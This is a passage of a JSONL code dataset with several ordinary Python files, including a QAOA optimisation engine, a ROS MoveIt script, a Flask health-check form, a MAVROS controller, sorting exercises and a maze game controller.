min(0.8, K)\n # K = 1-abs(prog-0.5)*2\n\n direction = self.end-self.start\n p0 = self.start + direction*prog\n\n length = K*self.flight_distance*0.25\n\n p1 = p0 + direction.norm()*-length\n\n pg.draw.line(\n surface, self.streak_colour, \n p0.cast_tuple(int), p1.cast_tuple(int), 3)","sub_path":"src/emulator/Firework.py","file_name":"Firework.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"184096714","text":"\r\ndef largestSum(arr, n):\r\n\t\r\n\tresult = -2147483648\r\n\r\n\tfor i in range(n):\r\n\t\r\n\t\tcurr_sum = arr[i]\r\n\t\twhile (i + 1 < n and\r\n\t\t\tarr[i + 1] > arr[i]):\r\n\t\t\r\n\t\t\tcurr_sum += arr[i + 1]\r\n\t\t\ti += 1\r\n\t\t\r\n\t\tif (curr_sum > result):\r\n\t\t\tresult = curr_sum\r\n\t\r\n\treturn result\r\n\r\narr = [1, 1, 4, 7, 3, 6]\r\nn = len(arr)\r\nprint(\"Largest sum = \", largestSum(arr, n))\r\n\r\n","sub_path":"Largest_sum_contiguous_increasing_subarray.py","file_name":"Largest_sum_contiguous_increasing_subarray.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"646552014","text":"import pyquil.api as api\nfrom pyquil.api._qvm import ForestConnection, QVM\nfrom pyquil.device import NxDevice\nfrom pyquil.api._quantum_computer import QuantumComputer \nfrom pyquil.api._compiler import QVMCompiler\nfrom grove.pyqaoa.qaoa import QAOA\nfrom pyquil.paulis import PauliTerm, PauliSum\nfrom pyquil.gates import X, I\n# from grove.pyvqe.vqe import VQE\nfrom .vqe import VQE\n\nimport scipy.optimize\nimport numpy as np\nimport networkx as nx\nfrom functools import reduce\nfrom sympy import Add, Mul, Number\nfrom itertools import product\nimport time\n\nfrom .visualization import plot_energy_landscape, plot_variance_landscape, plot_optimization_trajectory\n\nimport pdb\n\ndef pass_fun(arg):\n pass\n\nclass OptimizationEngine(object):\n \"\"\"\n The optimization engine for the VQF algorithm.\n\n This class takes a problem encoded as clauses, further encodes it into hamiltonian\n and solves it using QAOA.\n\n Args:\n clauses (list): List of clauses (sympy expressions) representing the problem.\n m (int): Number to be factored. Needed only for the purpose of tagging result files.\n steps (int, optional): Number of steps in the QAOA algorithm. Default: 1\n grid_size (int, optional): The resolution of the grid for grid search. Default: None\n tol (float, optional): Parameter of BFGS optimization method. Gradient norm must be less than tol before successful termination. Default:1e-5\n gate_noise (float, optional): Specifies gate noise for qvm. Default: None.\n verbose (bool): Boolean flag, if True, information about the execution will be printed to the console. Default: False\n visualize (bool): Flag indicating if visualizations should be created. Default: False\n\n Attributes:\n clauses (list): See Args.\n grid_size (int): See Args.\n mapping (dict): Maps variables into qubit indices.\n qaoa_inst (object): Instance of QAOA class from Grove.\n samples (int): If noise model is active, specifies how many samples we should take for any given quantum program.\n ax (object): Matplotlib `axis` object, used for plotting optimization trajectory.\n\n \"\"\"\n def __init__(self, clauses, m=None, steps=1, grid_size=None, tol=1e-5, gate_noise=None, samples=None, verbose=False, visualize=False):\n self.clauses = clauses\n self.m = m\n self.verbose = verbose\n self.visualize = visualize\n self.gate_noise = gate_noise\n self.samples = samples\n if grid_size is None:\n self.grid_size = len(clauses) + len(qubits)\n else:\n self.grid_size = grid_size\n\n cost_operators, mapping = self.create_operators_from_clauses()\n self.mapping = mapping\n mixing_operators = self.create_mixing_operators()\n minimizer_kwargs = {'method': 'BFGS',\n 'options': {'gtol': tol, 'disp': False}}\n if self.verbose:\n print_fun = print\n else:\n print_fun = pass_fun\n\n qubits = list(range(len(mapping)));\n\n if gate_noise:\n pauli_channel = [gate_noise] * 3\n else:\n pauli_channel = None\n connection = ForestConnection()\n qvm = QVM(connection=connection, gate_noise=pauli_channel)\n topology = nx.complete_graph(len(qubits))\n device = NxDevice(topology=topology)\n qc = QuantumComputer(name=\"my_qvm\",\n qam=qvm,\n device=device,\n compiler=QVMCompiler(\n device=device,\n endpoint=connection.compiler_endpoint))\n\n vqe_option = {'disp': print_fun, 'return_all': True,\n 'samples': self.samples}\n\n\n self.qaoa_inst = QAOA(qc, \n qubits, \n steps=steps, \n init_betas=None, \n init_gammas=None,\n cost_ham=cost_operators,\n ref_ham=mixing_operators, \n minimizer=scipy.optimize.minimize,\n minimizer_kwargs=minimizer_kwargs,\n rand_seed=None,\n vqe_options=vqe_option, \n store_basis=True)\n\n self.ax = None\n\n def create_operators_from_clauses(self):\n \"\"\"\n Creates cost hamiltonian from clauses.\n For details see section IIC from the article.\n \"\"\"\n operators = []\n mapping = {}\n variable_counter = 0\n for clause in self.clauses:\n if clause == 0:\n continue\n variables = list(clause.free_symbols)\n for variable in variables:\n if str(variable) not in mapping.keys():\n mapping[str(variable)] = variable_counter\n variable_counter += 1\n pauli_terms = []\n quadratic_pauli_terms = []\n if type(clause) == Add:\n clause_terms = clause.args\n elif type(clause) == Mul:\n clause_terms = [clause]\n for single_term in clause_terms:\n if len(single_term.free_symbols) == 0:\n if self.verbose:\n print(\"Constant term\", single_term)\n pauli_terms.append(PauliTerm(\"I\", 0, int(single_term)))\n elif len(single_term.free_symbols) == 1:\n if self.verbose:\n print(\"Single term\", single_term)\n multiplier = 1\n if type(single_term) == Mul:\n multiplier = int(single_term.args[0])\n symbol = list(single_term.free_symbols)[0]\n symbol_id = mapping[str(symbol)]\n pauli_terms.append(PauliTerm(\"I\", symbol_id, 1/2*multiplier))\n pauli_terms.append(PauliTerm(\"Z\", symbol_id, -1/2*multiplier))\n elif len(single_term.free_symbols) == 2 and type(single_term) == Mul:\n if self.verbose:\n print(\"Double term\", single_term)\n multiplier = 1\n if isinstance(single_term.args[0], Number):\n multiplier = int(single_term.args[0])\n symbol_1 = list(single_term.free_symbols)[0]\n symbol_2 = list(single_term.free_symbols)[1]\n symbol_id_1 = mapping[str(symbol_1)]\n symbol_id_2 = mapping[str(symbol_2)]\n pauli_term_1 = PauliTerm(\"I\", symbol_id_1, 1/2*multiplier) - PauliTerm(\"Z\", symbol_id_1, 1/2*multiplier)\n pauli_term_2 = PauliTerm(\"I\", symbol_id_2, 1/2) - PauliTerm(\"Z\", symbol_id_2, 1/2)\n quadratic_pauli_terms.append(pauli_term_1 * pauli_term_2)\n else:\n Exception(\"Terms of orders higher than quadratic are not handled.\")\n\n clause_operator = PauliSum(pauli_terms)\n for quadratic_term in quadratic_pauli_terms:\n clause_operator += quadratic_term\n \n squared_clause_operator = clause_operator**2\n if self.verbose:\n print(\"C:\", clause_operator)\n print(\"C**2:\", squared_clause_operator)\n operators.append(squared_clause_operator)\n\n\n return operators, mapping\n\n def create_mixing_operators(self):\n \"\"\"\n Creates mixing hamiltonian. (eq. 10)\n \"\"\"\n\n mixing_operators = []\n \n for key, value in self.mapping.items():\n mixing_operators.append(PauliSum([PauliTerm(\"X\", value, -1.0)]))\n\n return mixing_operators\n\n def perform_qaoa(self):\n \"\"\"\n Finds optimal angles for QAOA.\n\n Returns:\n sampling_results (Counter): Counter, where each element represents a bitstring that has been obtained.\n mapping (dict): See class description.\n\n \"\"\"\n betas, gammas = self.simple_grid_search_angles(save_data=True)\n # betas, gammas = self.step_by_step_grid_search_angles()\n self.qaoa_inst.betas = betas\n self.qaoa_inst.gammas = gammas\n betas, gammas = self.get_angles()\n _, sampling_results = self.qaoa_inst.get_string(betas, gammas, samples=10000) \n return sampling_results, self.mapping\n\n def get_angles(self):\n \"\"\"\n Finds optimal angles with the quantum variational eigensolver method.\n \n It's direct copy of the function `get_angles` from Grove. I decided to copy it here\n to access to the optimization trajectory (`angles_history`).\n Returns:\n best_betas, best_gammas (np.arrays): best values of the betas and gammas found. \n\n \"\"\"\n stacked_params = np.hstack((self.qaoa_inst.betas, self.qaoa_inst.gammas))\n vqe = VQE(self.qaoa_inst.minimizer, minimizer_args=self.qaoa_inst.minimizer_args,\n minimizer_kwargs=self.qaoa_inst.minimizer_kwargs)\n cost_ham = reduce(lambda x, y: x + y, self.qaoa_inst.cost_ham)\n # maximizing the cost function!\n param_prog = self.qaoa_inst.get_parameterized_program()\n result = vqe.vqe_run(param_prog, cost_ham, stacked_params, qc=self.qaoa_inst.qc,\n **self.qaoa_inst.vqe_options)\n best_betas = result.x[:self.qaoa_inst.steps]\n best_gammas = result.x[self.qaoa_inst.steps:]\n optimization_trajectory = result.iteration_params\n energy_history = result.expectation_vals\n\n if self.ax is not None and self.visualize and self.qaoa_inst.steps==1:\n plot_optimization_trajectory(self.ax, optimization_trajectory)\n return best_betas, best_gammas\n\n def simple_grid_search_angles(self, label, save_data=False):\n \"\"\"\n Finds optimal angles for QAOA by performing grid search on all the angles.\n This is not recommended for higher values of steps parameter, \n since it results in grid_size**(2*steps) evaluations.\n\n Returns:\n best_betas, best_gammas (np.arrays): best values of the betas and gammas found. \n\n \"\"\"\n best_betas = None\n best_gammas = None\n best_energy = np.inf\n\n # For some reasons np.meshgrid returns columns in order, where values in second\n # grow slower than in the first one. This a fix to it.\n if self.qaoa_inst.steps == 1:\n column_order = [0]\n else:\n column_order = [1, 0] + list(range(2, self.qaoa_inst.steps))\n\n new_indices = np.argsort(column_order)\n beta_ranges = [np.linspace(0, np.pi, self.grid_size)] * self.qaoa_inst.steps\n all_betas = np.vstack(np.meshgrid(*beta_ranges)).reshape(self.qaoa_inst.steps, -1).T\n all_betas = all_betas[:, column_order]\n\n gamma_ranges = [np.linspace(0, 2*np.pi, self.grid_size)] * self.qaoa_inst.steps\n all_gammas = np.vstack(np.meshgrid(*gamma_ranges)).reshape(self.qaoa_inst.steps, -1).T \n all_gammas = all_gammas[:, column_order]\n\n\n vqe = VQE(self.qaoa_inst.minimizer, minimizer_args=self.qaoa_inst.minimizer_args,\n minimizer_kwargs=self.qaoa_inst.minimizer_kwargs)\n cost_hamiltonian = reduce(lambda x, y: x + y, self.qaoa_inst.cost_ham)\n all_energies = []\n data_to_save = []\n if save_data:\n file_name = label + \".csv\"\n for betas in all_betas:\n for gammas in all_gammas:\n stacked_params = np.hstack((betas, gammas))\n program = self.qaoa_inst.get_parameterized_program()\n energy = vqe.expectation(program(stacked_params), cost_hamiltonian, self.samples, self.qaoa_inst.qc)\n all_energies.append(energy)\n print(betas, gammas, energy, end=\"\\r\")\n if save_data:\n data_to_save.append(np.hstack([betas, gammas, energy]))\n if energy < best_energy:\n best_energy = energy\n best_betas = betas\n best_gammas = gammas\n if self.verbose:\n print(\"Lowest energy:\", best_energy)\n print(\"Angles:\", best_betas, best_gammas)\n if save_data:\n np.savetxt(file_name, np.array(data_to_save), delimiter=\",\")\n\n if self.visualize:\n if self.qaoa_inst.steps == 1:\n self.ax = plot_energy_landscape(all_betas, all_gammas, np.array(all_energies), title=label, log_legend=False)\n self.ax = plot_energy_landscape(all_betas, all_gammas, np.array(all_energies), title=label+\"_log\", log_legend=True)\n else:\n plot_variance_landscape(all_betas, all_gammas, np.array(all_energies))\n\n return best_betas, best_gammas\n\n def step_by_step_grid_search_angles(self):\n \"\"\"\n Finds optimal angles for QAOA by performing \"step-by-step\" grid search.\n It finds optimal angles by performing grid search on the QAOA instance with steps=1.\n Then it fixes these angles and performs grid search on the second pair of angles.\n This method requires steps*grid_size**2 evaluations and hence is more suitable\n for higger values of steps.\n\n Returns:\n best_betas, best_gammas (np.arrays): best values of the betas and gammas found. \n\n \"\"\"\n\n max_step = self.qaoa_inst.steps\n self.qaoa_inst.betas = np.array([])\n self.qaoa_inst.gammas = np.array([])\n best_betas = np.array([])\n best_gammas = np.array([])\n for current_step in range(1, max_step+1):\n if self.verbose:\n print(\"step:\", current_step, \"\\n\")\n beta, gamma = self.one_step_grid_search(current_step)\n best_betas = np.append(best_betas, beta)\n best_gammas = np.append(best_gammas, gamma)\n self.qaoa_inst.betas = best_betas\n self.qaoa_inst.gammas = best_gammas\n\n return best_betas, best_gammas\n\n def one_step_grid_search(self, current_step):\n \"\"\"\n Grid search on n-th pair of QAOA angles, where n=current_step.\n\n Args:\n current_step (int): specify on which layer do we perform search.\n\n Returns:\n best_beta, best_gamma (floats): best values of the beta and gamma found. \n \"\"\"\n self.qaoa_inst.steps = current_step\n best_beta = None\n best_gamma = None\n best_energy = np.inf\n\n fixed_betas = self.qaoa_inst.betas\n fixed_gammas = self.qaoa_inst.gammas\n beta_range = np.linspace(0, np.pi, self.grid_size)\n gamma_range = np.linspace(0, 2*np.pi, self.grid_size)\n\n vqe = VQE(self.qaoa_inst.minimizer, minimizer_args=self.qaoa_inst.minimizer_args,\n minimizer_kwargs=self.qaoa_inst.minimizer_kwargs)\n cost_hamiltonian = reduce(lambda x, y: x + y, self.qaoa_inst.cost_ham)\n for beta in beta_range:\n for gamma in gamma_range:\n betas = np.append(fixed_betas, beta)\n gammas = np.append(fixed_gammas, gamma)\n stacked_params = np.hstack((betas, gammas))\n program = self.qaoa_inst.get_parameterized_program()\n energy = vqe.expectation(program(stacked_params), cost_hamiltonian, self.samples, self.qaoa_inst.qc)\n print(beta, gamma, end=\"\\r\")\n if energy < best_energy:\n best_energy = energy\n best_beta = beta\n best_gamma = gamma\n\n return best_beta, best_gamma\n\n","sub_path":"research/2019_05_12_visualize_optimization_space/src/vqf/optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":15686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430427759","text":"from django.test import TestCase\nfrom django.core.wsgi import WSGIHandler\nfrom molly.test import TestCase as MollyTestCase\n\nimport mock\n\n\nclass ApplicationStartedTests(TestCase):\n\n def test_application_started_send(self):\n with mock.patch('molly.signals.application_started.send') as send:\n application = WSGIHandler()\n self.assertTrue(send.called)\n\n send.assert_called_once_with(\n sender=WSGIHandler, application=application\n )\n\n def test_name(self):\n self.assertEqual(WSGIHandler.__init__.__name__, '__init__')\n\n\nclass TestMollyTestCase(MollyTestCase):\n\n def test_appliction_instatiated(self):\n self.assertTrue(self.application is not None)\n self.assertIsInstance(self.application, WSGIHandler)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"605871327","text":"import time\nfrom random import randint\n\n#n = int(input(\"Enter a number for n: \"))\nn=7000\nmyList = []\n\nfor x in range(n):\n\ti = randint(1,10000)\n\tmyList.append(i)\n\n\n#insertSort sorts a list by insertion\n#merges two sorted lists into 1 sorted list\ndef merge(list1, list2):\n\tsorted = []\n\ti = 0\n\tj = 0\n\t#while both lists have not made it to the end\n\twhile i != len(list1) and j != len(list2):\n\t\t# if the element in list 1 is smaller, add it to the sorted list\n\t\tif list1[i] < list2[j]:\n\t\t\tsorted.append(list1[i])\n\t\t\ti += 1\n\t\t#else add the element from list 2 to the sorted list\n\t\telse:\n\t\t\tsorted.append(list2[j])\n\t\t\tj += 1\n\t#if some elements remian in list 1 add them all to the sorted list\n\tif i < len(list1):\n\t\twhile i < len(list1):\n\t\t\tsorted.append(list1[i])\n\t\t\ti += 1\n\t#if some elements remain in list 2 add them all to the sorted list\n\telse:\n\t\twhile j < len(list2):\n\t\t\tsorted.append(list2[j])\n\t\t\tj += 1\n\treturn sorted\n\n#mergesort calls itself recursively until there is 1 or fewer items in each list\n#it then merges the two lists together.\ndef mergeSort(myList):\n\tif len(myList) < 2:\n\t\treturn myList\n\tmid = len(myList)/2\n\tlist1 = mergeSort(myList[:mid])\n\tlist2 = mergeSort(myList[mid:])\n\treturn merge(list1, list2)\n\n\n#collects the time it takes to run \nstart = time.time()\nmyList = mergeSort(myList)\nend = time.time()\n\nprint(end - start)\n\n#outFile = open(\"insert.out\", \"w\")\n\n#retransforms the data into a string\n#myList = map(str, myList)\n#joins all list elements together as a string with spaces between\n#myString = \" \".join(myList)\n\n#outFile.write(myString)\n\n#outFile.close()","sub_path":"Homework1/mergesortv2.py","file_name":"mergesortv2.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"163903129","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nclass Student(object):\n\t\"\"\"docstring for Student\"\"\"\n\tdef __init__(self, name,score):\n\t\tsuper(Student, self).__init__()\n\t\tself.__name = name\n\t\tself.__score = score\n\t\t\n\tdef print_score(self):\n\t\tprint('%s %s' % (self.__name,self.__score))\n\n\tdef get_grade(self):\n\t\tif self.__score >= 90:\n\t\t\treturn 'A'\n\t\telif self.__score >= 60:\n\t\t\treturn 'B'\n\t\telse:\n\t\t\treturn 'C'\n\nbart = Student('Bart Simpson',59)\n# print(bart.name)\n# print(bart.score)\nbart.print_score()\n\nlisa = Student('Lisa', 99)\nbart1 = Student('Bart', 59)\n# print(lisa.name, lisa.get_grade())\n# print(bart1.name, bart1.get_grade())","sub_path":"protected_student.py","file_name":"protected_student.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459681641","text":"#!/usr/bin/env python\n\nimport sys\nimport copy\nimport rospy\nimport moveit_commander\nimport moveit_msgs.msg\nimport geometry_msgs.msg\nfrom math import pi\nfrom std_msgs.msg import String\nfrom moveit_commander.conversions import pose_to_list\n## END_SUB_TUTORIAL\n\n\ndef all_close(goal, actual, tolerance):\n \"\"\"\n Convenience method for testing if a list of values are within a tolerance of their counterparts in another list\n @param: goal A list of floats, a Pose or a PoseStamped\n @param: actual A list of floats, a Pose or a PoseStamped\n @param: tolerance A float\n @returns: bool\n \"\"\"\n all_equal = True\n if type(goal) is list:\n for index in range(len(goal)):\n if abs(actual[index] - goal[index]) > tolerance:\n return False\n\n elif type(goal) is geometry_msgs.msg.PoseStamped:\n return all_close(goal.pose, actual.pose, tolerance)\n\n elif type(goal) is geometry_msgs.msg.Pose:\n return all_close(pose_to_list(goal), pose_to_list(actual), tolerance)\n\n return True\n\n\nclass MoveGroupPythonIntefaceTutorial(object):\n \"\"\"MoveGroupPythonIntefaceTutorial\"\"\"\n def __init__(self):\n super(MoveGroupPythonIntefaceTutorial, self).__init__()\n\n ## BEGIN_SUB_TUTORIAL setup\n ##\n ## First initialize `moveit_commander`_ and a `rospy`_ node:\n moveit_commander.roscpp_initialize(sys.argv)\n rospy.init_node('move_group_python_interface_tutorial', anonymous=True)\n\n ## Instantiate a `RobotCommander`_ object. Provides information such as the robot's\n ## kinematic model and the robot's current joint states\n robot = moveit_commander.RobotCommander()\n\n ## Instantiate a `PlanningSceneInterface`_ object. This provides a remote interface\n ## for getting, setting, and updating the robot's internal understanding of the\n ## surrounding world:\n scene = moveit_commander.PlanningSceneInterface()\n\n group_name = \"Thumb\"\n move_group = moveit_commander.MoveGroupCommander(group_name)\n\n ## Create a `DisplayTrajectory`_ ROS publisher which is used to display\n ## trajectories in Rviz:\n display_trajectory_publisher = rospy.Publisher('/move_group/display_planned_path',\n moveit_msgs.msg.DisplayTrajectory,\n queue_size=20)\n\n \n ## ^^^^^^^^^^^^^^^^^^^^^^^^^\n # We can get the name of the reference frame for this robot:\n planning_frame = move_group.get_planning_frame()\n # print(\"============ Planning frame: %s\" % planning_frame)\n\n # We can also print the name of the end-effector link for this group:\n eef_link = move_group.get_end_effector_link()\n # print(\"============ End effector link: %s\" % eef_link)\n\n # We can get a list of all the groups in the robot:\n group_names = robot.get_group_names()\n # print(\"============ Available Planning Groups:\", robot.get_group_names())\n\n # Sometimes for debugging it is useful to print the entire state of the\n # robot:\n # print(\"============ Printing robot state\")\n # print(robot.get_current_state())\n print(\"\")\n ## END_SUB_TUTORIAL\n\n # Misc variables\n self.box_name = ''\n self.robot = robot\n self.scene = scene\n self.move_group = move_group\n self.display_trajectory_publisher = display_trajectory_publisher\n self.planning_frame = planning_frame\n self.eef_link = eef_link\n self.group_names = group_names\n\n\n def go_to_joint_state(self):\n # Copy class variables to local variables to make the web tutorials more clear.\n # In practice, you should use the class variables directly unless you have a good\n # reason not to.\n move_group = self.move_group\n\n ## BEGIN_SUB_TUTORIAL plan_to_joint_state\n ##\n ## Planning to a Joint Goal\n ## ^^^^^^^^^^^^^^^^^^^^^^^^\n ## The Panda's zero configuration is at a `singularity `_ so the first\n ## thing we want to do is move it to a slightly better configuration.\n # We can get the joint values from the group and adjust some of the values:\n joint_goal = move_group.get_current_joint_values()\n joint_goal[0] = 0\n joint_goal[1] = 0\n \n \n\n # The go command can be called with joint values, poses, or without any\n # parameters if you have already set the pose or joint target for the group\n move_group.go(joint_goal, wait=True)\n\n # Calling ``stop()`` ensures that there is no residual movement\n move_group.stop()\n\n ## END_SUB_TUTORIAL\n\n # For testing:\n current_joints = move_group.get_current_joint_values()\n return all_close(joint_goal, current_joints, 0.01)\n\n\n \n\n def wait_for_state_update(self, box_is_known=False, box_is_attached=False, timeout=4):\n # Copy class variables to local variables to make the web tutorials more clear.\n # In practice, you should use the class variables directly unless you have a good\n # reason not to.\n box_name = self.box_name\n scene = self.scene\n\n ## BEGIN_SUB_TUTORIAL wait_for_scene_update\n ##\n ## Ensuring Collision Updates Are Receieved\n ## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n ## If the Python node dies before publishing a collision object update message, the message\n ## could get lost and the box will not appear. To ensure that the updates are\n ## made, we wait until we see the changes reflected in the\n ## ``get_attached_objects()`` and ``get_known_object_names()`` lists.\n ## For the purpose of this tutorial, we call this function after adding,\n ## removing, attaching or detaching an object in the planning scene. We then wait\n ## until the updates have been made or ``timeout`` seconds have passed\n start = rospy.get_time()\n seconds = rospy.get_time()\n while (seconds - start < timeout) and not rospy.is_shutdown():\n # Test if the box is in attached objects\n attached_objects = scene.get_attached_objects([box_name])\n is_attached = len(attached_objects.keys()) > 0\n\n # Test if the box is in the scene.\n # Note that attaching the box will remove it from known_objects\n is_known = box_name in scene.get_known_object_names()\n\n # Test if we are in the expected state\n if (box_is_attached == is_attached) and (box_is_known == is_known):\n return True\n\n # Sleep so that we give other threads time on the processor\n rospy.sleep(0.1)\n seconds = rospy.get_time()\n\n # If we exited the while loop without returning then we timed out\n return False\n ## END_SUB_TUTORIAL\n\n\n \n\ndef main():\n try:\n \n raw_input()\n tutorial = MoveGroupPythonIntefaceTutorial()\n\n print(\"============ Press `Enter` to execute a movement using a joint state goal for Thumb Group ...\")\n raw_input()\n tutorial.go_to_joint_state()\n\n # print(\"============ Ros direct kinematics demo complete!\")\n except rospy.ROSInterruptException:\n return\n except KeyboardInterrupt:\n return\n\nif __name__ == '__main__':\n main()\n\n## BEGIN_TUTORIAL\n## .. _moveit_commander:\n## http://docs.ros.org/melodic/api/moveit_commander/html/namespacemoveit__commander.html\n##\n## .. _MoveGroupCommander:\n## http://docs.ros.org/melodic/api/moveit_commander/html/classmoveit__commander_1_1move__group_1_1MoveGroupCommander.html\n##\n## .. _RobotCommander:\n## http://docs.ros.org/melodic/api/moveit_commander/html/classmoveit__commander_1_1robot_1_1RobotCommander.html\n##\n## .. _PlanningSceneInterface:\n## http://docs.ros.org/melodic/api/moveit_commander/html/classmoveit__commander_1_1planning__scene__interface_1_1PlanningSceneInterface.html\n##\n## .. _DisplayTrajectory:\n## http://docs.ros.org/melodic/api/moveit_msgs/html/msg/DisplayTrajectory.html\n##\n## .. _RobotTrajectory:\n## http://docs.ros.org/melodic/api/moveit_msgs/html/msg/RobotTrajectory.html\n##\n## .. _rospy:\n## http://docs.ros.org/melodic/api/rospy/html/\n## CALL_SUB_TUTORIAL imports\n## CALL_SUB_TUTORIAL setup\n## CALL_SUB_TUTORIAL basic_info\n## CALL_SUB_TUTORIAL plan_to_joint_state\n## CALL_SUB_TUTORIAL plan_to_pose\n## CALL_SUB_TUTORIAL plan_cartesian_path\n## CALL_SUB_TUTORIAL display_trajectory\n## CALL_SUB_TUTORIAL execute_plan\n## CALL_SUB_TUTORIAL add_box\n## CALL_SUB_TUTORIAL wait_for_scene_update\n## CALL_SUB_TUTORIAL attach_object\n## CALL_SUB_TUTORIAL detach_object\n## CALL_SUB_TUTORIAL remove_object\n## END_TUTORIAL","sub_path":"udm_hand_control_annex/scripts/move_group_thumb_interface.py","file_name":"move_group_thumb_interface.py","file_ext":"py","file_size_in_byte":8294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"636704349","text":"from flask import Flask, render_template,request,redirect,url_for\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/healthcheck\", methods=[\"GET\",\"POST\"])\ndef healthcheck():\n return render_template(\"healthcheck.html\")\n\n@app.route(\"/result\", methods=[\"GET\",\"POST\"])\ndef result():\n if request.method == \"POST\":\n\n usertemp = float(request.form.get('usertemp'))\n userper = usertemp\n conditions = ['sneeze','cough','fatigue','breath','friend','crowded','large','overseas']\n for condition in conditions:\n val = request.form.get('cough')\n if val is not None:\n userper *= float(val)\n userper = int(round(userper))\n if float(usertemp) > 37.5:\n return render_template(\"failresult.html\", percentage=userper)\n else:\n return render_template(\"result.html\", percentage=userper)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"23737880","text":"import rospy\n\nfrom mavros_msgs.msg import PositionTarget\nfrom geometry_msgs.msg import PoseStamped, Point\n\nfrom arion.offboard import OffboardControl\nfrom arion.subscriber.point_subscriber import PointSubscriber\nfrom arion.subscriber.position_subscriber import CurrentPositionSubscriber\n\nclass PositionControlRawNode(OffboardControl, CurrentPositionSubscriber, PointSubscriber):\n\n LOITER = 12288\n def __init__(self):\n topic_in = rospy.get_param('~raw_point_topic', '/arion/raw_point')\n self.rate = rospy.get_param('~raw_point_rate', 20)\n self.message_pub = rospy.Publisher('mavros/setpoint_raw/local', PositionTarget, queue_size=10)\n self.target_position = PositionTarget()\n self.seq = 1\n self.start_point(topic_in)\n self.start_offboard()\n self.start_current_position()\n self.smooth_factor = 0.9\n self.mask = PositionControlRawNode.LOITER\n\n def publish_position_message(self):\n self.target_position.header.stamp = rospy.Time.now()\n self.target_position.header.seq = self.seq\n self.target_position.header.frame_id = \"enu_world\"\n self.target_position.coordinate_frame = PositionTarget.FRAME_LOCAL_NED\n self.target_position.position.x = self.p.x\n self.target_position.position.y = self.p.y\n self.target_position.position.z = self.p.z\n self.target_position.type_mask = self.mask\n self.target_position.yaw = 0\n self.target_position.yaw_rate = 1\n self.message_pub.publish(self.target_position)\n self.seq = self.seq + 1\n\n def warm_position(self, rate):\n for i in range(100):\n p = self.current_position.pose.position\n self.smooth_point(p.x, p.y, p.z, self.smooth_factor)\n self.publish_position_message()\n rate.sleep()\n \n def run(self):\n rospy.init_node('control_arion', anonymous=True, log_level= rospy.INFO)\n r = rospy.Rate(self.rate)\n self.warm_position(r)\n self.take_control(self.publish_position_message)\n while not rospy.is_shutdown():\n self.publish_position_message()\n r.sleep()\n self.release_control()\n","sub_path":"src/arion/node/position_control_raw_node.py","file_name":"position_control_raw_node.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"105476150","text":"import pygame\nfrom pygame.locals import *\n# Contoller imports\nfrom controllers.player_controller import PlayerController\nfrom controllers.maze_controller import MazeController \nfrom controllers.end_controller import EndController\n# Model imports\nfrom models.score import Score\n\n# -- CONTROLLER --\n\"\"\"\nGame Controller is the master Controller of the game. It creates an instance of the MazeController\nand the PlayerController and controls how the Maze and Player interact\n\"\"\"\nclass GameController:\n \n def __init__(self):\n \"\"\"\n Initialize an instance of GameController\n \"\"\"\n self._window = None\n self._image = None\n self._block = None\n self._font = None\n # The maze is a graph of 'Tiles' each tile is 50pixels by 50pixels\n self.TILE_WIDTH = 50\n self.TILE_HEIGHT = 50\n \n self._score = Score()\n \n self.maze = MazeController(self.TILE_WIDTH, self.TILE_HEIGHT)\n \n # Player Conroller controls the actions of the player and has an instance of the player model\n self.player_controller = PlayerController(self.maze, self.TILE_WIDTH, self.TILE_HEIGHT)\n # shortcut to access the player model from the player control. This holds player properties\n self.player = self.player_controller.get_player()\n \n #NOTE: Calculated dimensions of the game (example tile size 50 pixels, and the map is 10 tiles wide then 10*50)\n self.__WIDTH = self.TILE_WIDTH * len(self.maze.cells[0])\n self.__HEIGHT = self.TILE_HEIGHT * len(self.maze.cells)\n\n def get_game_dimensions(self):\n return (self.__WIDTH, self.__HEIGHT)\n \n def get_tile_dimensions(self):\n return (self.TILE_WIDTH, self.TILE_HEIGHT)\n \n def set_player_name(self, name):\n \"\"\"Set the players name, if this is never called players will be called \"GUEST\"\n\n Args:\n name (string): The name of the player\n \"\"\"\n self._score.set_name(name)\n \n def keypress(self):\n keypress = pygame.key.get_pressed()\n if keypress[K_UP]:\n self.player_controller.move('UP')\n elif keypress[K_DOWN]:\n self.player_controller.move('DOWN')\n elif keypress[K_LEFT]:\n self.player_controller.move('LEFT')\n elif keypress[K_RIGHT]:\n self.player_controller.move('RIGHT')\n \n def game_over(self):\n \"\"\"Return True if the player has collected all coins and reached the end\n\n Returns:\n bool: True if game over, False if game in progress\n \"\"\"\n return self.player_controller.end\n \n def end_game(self, seconds_till_fail):\n \"\"\"Ends the game buy starting the End Controller\n \"\"\"\n self._score.end_timer() # calculate score\n if self.player._backpack != 4 or self.get_time() > seconds_till_fail: #arbitrary\n self._score.set_score(1000) # overwrite score with default score if backpack isnt full\n end_contoller = EndController(self._score)\n end_contoller.loop()\n exit()\n 